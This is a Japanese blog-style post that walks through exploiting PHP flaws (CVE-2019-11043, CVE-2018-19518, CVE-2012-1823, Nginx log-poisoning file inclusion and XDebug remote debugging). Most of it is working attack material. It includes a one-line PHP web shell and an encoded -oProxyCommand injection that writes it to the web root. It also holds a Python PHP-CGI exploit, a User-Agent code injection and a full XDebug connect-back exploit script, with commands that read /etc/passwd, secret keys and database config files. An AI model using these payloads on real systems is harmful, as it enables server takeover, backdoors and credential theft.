PHP処理系および関連拡張機能における脆弱性の検証と実行手法

CVE-2019-11043:NginxとPHP-FPM間のパス解析問題

本脆弱性は、Nginxのfastcgi_split_path_infoディレクティブ設定と特定のPHPバージョン(5.6~7.x系)が組み合わさった際に発生します。Path Infoの解析過程でバッファ処理の不備が生じ、PHP-FPMの環境変数を改変することで任意コード実行が可能となります。

検証環境はNginx+PHP-FPM(PHP 7.1)で構成されています。攻撃の自動化にはGo言語製の専用ツールを利用します。ソースからの実行例は以下の通りです。

go run main.go --target "http://target.domain/path/to/app/"

実行後は、ツールが内部でQSL(Query String Length)とPIS(Path Info Size)の最適値を算出し、php.iniのsession.auto_startを無効化します。成功するとURL末尾にクエリパラメータを追加するだけでコマンド実行が可能になります。

/target/app/index.php?cmd=cat+/etc/passwd

上記クエリを付与し、リクエストを送信することで対象システム上でシェルコマンドが評価されます。

CVE-2018-19518:PHP IMAP拡張のホスト名インジェクション

Debian/Ubuntu環境におけるPHPのimapモジュールは、メール送信時のホスト名引数をsendmailの-oProxyCommandオプションとしてそのまま渡す仕様を持っています。これにより、引数インジェクションを通じてシステムコマンドを実行可能です。

ペイロードの構築には多重エンコードが必要です。まず、ベースとなるバックドアのソースコードをBase64化します。

<?php echo shell_exec($_GET['c']);?>

一次エンコード結果を、デコードして特定ディレクトリに書き出すシェルコマンドに結合し、再度Base64化します。空白文字は%09(タブ)に、特殊記号はURLエンコードで処理する必要があります。

echo "一次エンコード値" | base64 -d > /var/www/html/backdoor.php

このコマンドを二次Base64化し、URLエンコードを適用した文字列を、-oProxyCommand=プレフィックスと組み合わせて構築します。最終的なインジェクション文字列は以下のようになります。

127.0.0.1+-oProxyCommand%3decho%09二次エンコード文字列|base64%09-d|sh}

この値をPHPのメール送信関数のホスト名パラメータとして送信すると、内部でsendmailが呼び出され、コマンドが実行されます。レスポンスにエラーが表示されても、ファイルの書き込みは裏で完了しています。

CVE-2012-1823:PHP-CGIのクエリ文字列解析回避

PHP-CGIバイナリは、URL内のクエリ文字列を解析する際、特定のオプション(-dや-s)を認識します。これにより、allow_url_includeを有効化し、php://inputからPOSTデータを読み込むことが可能になります。

以下のPythonスクリプトは、対象エンドポイントにオプションパラメータを付与し、標準入力からPHPコードを注入する検証用コードです。

import requests

TARGET_URI = "http://vulnerable.host/cgi-bin/index.php"
QUERY_PARAMS = "?-d+allow_url_include%3Don+-d+auto_prepend_file%3Dphp://input"
PHP_PAYLOAD = "<?php system('cat /opt/secret/key.txt'); ?>"

req_url = f"{TARGET_URI}{QUERY_PARAMS}"
resp = requests.post(req_url, data=PHP_PAYLOAD, verify=False)
print("実行結果:", resp.text)

スクリプト実行後、POSTデータとして送信されたPHPコードがサーバー側で評価され、ファイルの読み取り結果がレスポンスボディとして返却されます。

Nginxアクセスログのファイルインクルージョン

設定が不十分なPHPアプリケーションでは、ユーザー入力をincludeまたはrequireに直接渡すケースがあります。コロン(:)を含むプロトコル指定をフィルタリングしていない場合、ローカルファイルの読み込みが可能です。

<?php
    error_reporting(E_ALL & ~E_NOTICE);
    $target_file = $_GET['page'];
    if (strpos($target_file, ':') === false) {
        include $target_file;
    }
?>

NginxはクライアントのHTTPリクエストヘッダーをそのままaccess.logに記録します。この性質を利用し、User-AgentヘッダーにPHPコードを挿入することで、ログファイル自体を実行可能なスクリプトに変質させます。

まず、任意のヘッダー操作ツールでUser-Agentに以下の文字列を設定してリクエストを送信します。

User-Agent: <?php system('cat /home/user/flag_data'); ?>

次に、アプリケーションに対してログファイルのパスを指定します。

/index.php?page=/var/log/nginx/access.log

これにより、Webサーバーが記録したログファイルがPHPエンジンによって読み込まれ、ヘッダーに埋め込まれたコードが実行されます。

XDebugリモートデバッギングプロトコルの悪用

XDebug拡張機能が有効で、remote_connect_back=1およびremote_enable=1が設定されている環境では、外部からのDBGP接続要求を無条件に受け入れます。攻撃者はデバッグセッションを乗っ取り、evalコマンドを通じて任意のコードを実行できます。

検証スクリプトは、ローカルでDBGPリスナーを起動し、対象サーバーにデバッグトリガーリクエストを送信します。以下は構造化を再構築した実行コードです。

#!/usr/bin/env python3
import socket
import threading
import base64
import sys
import argparse
import time
from http.client import HTTPConnection

LISTEN_PORT = 9000
DONE_FLAG = threading.Event()

def parse_response(raw_data: bytes) -> str:
    try:
        start = raw_data.index(b'<![CDATA[') + len(b'<![CDATA[')
        end = raw_data.index(b']]>', start)
        encoded = raw_data[start:end]
        return base64.b64decode(encoded).decode('utf-8', errors='ignore')
    except ValueError:
        return "解析不能"

class DbgpListener(threading.Thread):
    def __init__(self, exec_cmd):
        super().__init__()
        self.cmd = exec_cmd
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(('0.0.0.0', LISTEN_PORT))

    def run(self):
        self.sock.listen(1)
        print(f"[+] DBGPリッスン中 ポート:{LISTEN_PORT}")
        conn, addr = self.sock.accept()
        print(f"[+] 接続確立: {addr}")
        
        payload = f"eval -i 1 -- {base64.b64encode(self.cmd.encode()).decode()}\x00"
        conn.sendall(payload.encode())
        
        recv_data = b""
        while True:
            chunk = conn.recv(4096)
            if not chunk:
                break
            recv_data += chunk
            if b"</response>" in recv_data:
                break
                
        print("[*] 実行結果:", parse_response(recv_data))
        DONE_FLAG.set()
        conn.close()
        self.sock.close()

def send_trigger(target_url):
    time.sleep(1)
    try:
        conn = HTTPConnection(target_url.split('//')[1])
        conn.request('GET', f'/?XDEBUG_SESSION_START=active&XDEBUG_SESSION=1')
        conn.getresponse()
    except Exception as e:
        print(f"[-] トリガー送信失敗: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True)
    parser.add_argument("-c", "--cmd", required=True)
    args = parser.parse_args()

    listener = DbgpListener(args.cmd)
    listener.start()
    threading.Thread(target=send_trigger, args=(args.url,)).start()
    DONE_FLAG.wait(timeout=15)

スクリプト実行時はpython3 exploit.py -u http://target/app/ -c "system('cat /var/www/config/db.php');"の形式で指定します。対象サーバーがリスナーポートに接続を試みるため、ネットワーク設定に注意が必要です。

タグ: php-fpm nginx CVE-2019-11043 CVE-2018-19518 CVE-2012-1823

10月11日 05:08 投稿